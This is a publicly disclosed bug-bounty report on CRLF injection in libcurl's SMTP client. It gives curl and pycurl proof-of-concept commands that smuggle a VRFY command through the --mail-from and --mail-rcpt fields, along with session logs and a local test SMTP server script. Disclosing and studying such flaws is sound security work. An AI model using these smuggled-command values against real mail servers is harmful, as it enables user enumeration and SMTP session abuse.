HexBrain

curl · Report #3235428

CRLF injection in libcurl's SMTP client via --mail-from and --mail-rcpt allows SMTP command smuggling

N/Astatus
mediumseverity
21upvotes
3 Jul 2025disclosed

How it was found

Summary:

libcurl's SMTP client is vulnerable to CRLF injection via the --mail-from and --mail-rcpt parameters. An attacker can inject newline characters to smuggle SMTP commands like VRFY, potentially enabling user enumeration or protocol abuse. While curl may fail after injection, the injected commands are executed by the SMTP server, confirming the vulnerability.

AI statement

Yes, I have used AI to find the vulnerability.

Affected version

I have tested on Ubuntu 24.04.2 with:

  • curl 8.5.0 (system)
  • curl 8.15.0-DEV (my local build)
  • PycURL/7.45.6 with libcurl/8.12.1-DEV

The full system curl version:

$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

The full local build version:

$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd

Steps To Reproduce:

  1. run a test SMTP server; the one I used is listed below named smtp_server, ran as ./smtp_server and listened at localhost:1025

  2. send an email with normal email addresses, something like: curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt where mail.txt is a text file -- curl finishes normally

  3. now send an email with injected CRLF's, for example in the "from" field, something like: curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt -- curl fails with DATA failed: 250 as the server sent 250 OK ... to the injected VRFY command instead of expected 354; this is demonstrating a CRLF injection took place

I believe the problem arises since "MAIL FROM:%s%s%s%s%s%s" in smtp_perform_mail in smtp.c concatenates mail fields without sanitization (and smtp_parse_address does not sanitize "\r\n" either).

Supporting Material/References:

Normal mail send:

$ curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]> SIZE=4
< 250 OK
> RCPT TO:<[email protected]>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact

Sending with CRLF in "from" field:

$ cat mail.txt
Huh?

$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]
> VRFY [email protected]
> SIZE=4
< 250 OK
> RCPT TO:<[email protected]>
< 250 OK: John X Doe <[email protected]>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250

Sending with CRLF in "rcpt" field:

$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-from "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]> SIZE=4
< 250 OK
> RCPT TO:<[email protected]
> VRFY [email protected]
>
< 250 OK
> DATA
< 250 OK: John X Doe <[email protected]>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55

Sending with CRLF using pycURL:

$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO     | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO     | __main__:send:22 - sending email from '[email protected]\r\nVRFY [email protected]' to '[email protected]'
2025-07-03 15:08:38.176 | ERROR    | __main__:send:32 - exception: (55, 'DATA failed: 250')

Server logs (for the illustration):

$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:24 - Message received -- from: [email protected], to: ['[email protected]']
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:25 - Data:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: []
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>'
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: []
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>'

smtp_server script:

#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "aiosmtpd",
# ]
# ///

from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger


class MessageHandler:
    async def handle_DATA(self, server, session, envelope):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        logger.info("Data:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
        return "250 Message accepted for delivery"

    async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        USERS = {
            "[email protected]": "John X Doe",
        }
        if full_name := USERS.get(address.lower()):
            response = f"250 OK: {full_name} <{address}>"
        else:
            response = f"550 No such user {address}"
        logger.info("Sending back {!r}", response)
        return response


class MyController(Controller):
    def factory(self):
        """Subclasses can override this to customize the handler/server creation."""
        kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
        return SMTP(self.handler, **kwargs)


if __name__ == "__main__":
    handler = MessageHandler()
    controller = MyController(handler, hostname="127.0.0.1", port=1025)
    controller.start()
    print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
    import time

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        controller.stop()

send-with-pycurl script:

#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "pycurl",
# ]
# ///
import io

import pycurl
from loguru import logger


def send(sender, recipient):
    msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl

This is the email body.
    """
    logger.info("sending email from {!r} to {!r}", sender, recipient)
    c = pycurl.Curl()
    c.setopt(pycurl.URL, "smtp://localhost:1025")
    c.setopt(pycurl.MAIL_FROM, sender)
    c.setopt(pycurl.MAIL_RCPT, [recipient])
    c.setopt(pycurl.UPLOAD, 1)
    c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
    try:
        c.perform()
    except Exception as exc:
        logger.error("exception: {}", exc)
    c.close()


if __name__ == "__main__":
    logger.info("pycurl version: {}", pycurl.version)
    send("[email protected]\r\nVRFY [email protected]", "[email protected]")

Impact

Summary:

This vulnerability allows attackers to inject arbitrary SMTP commands, like VRFY, by crafting malicious email addresses. It can lead to user enumeration, bypass of client-side restrictions, or disruption of the SMTP session, especially in automated or proxy-based email workflows.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original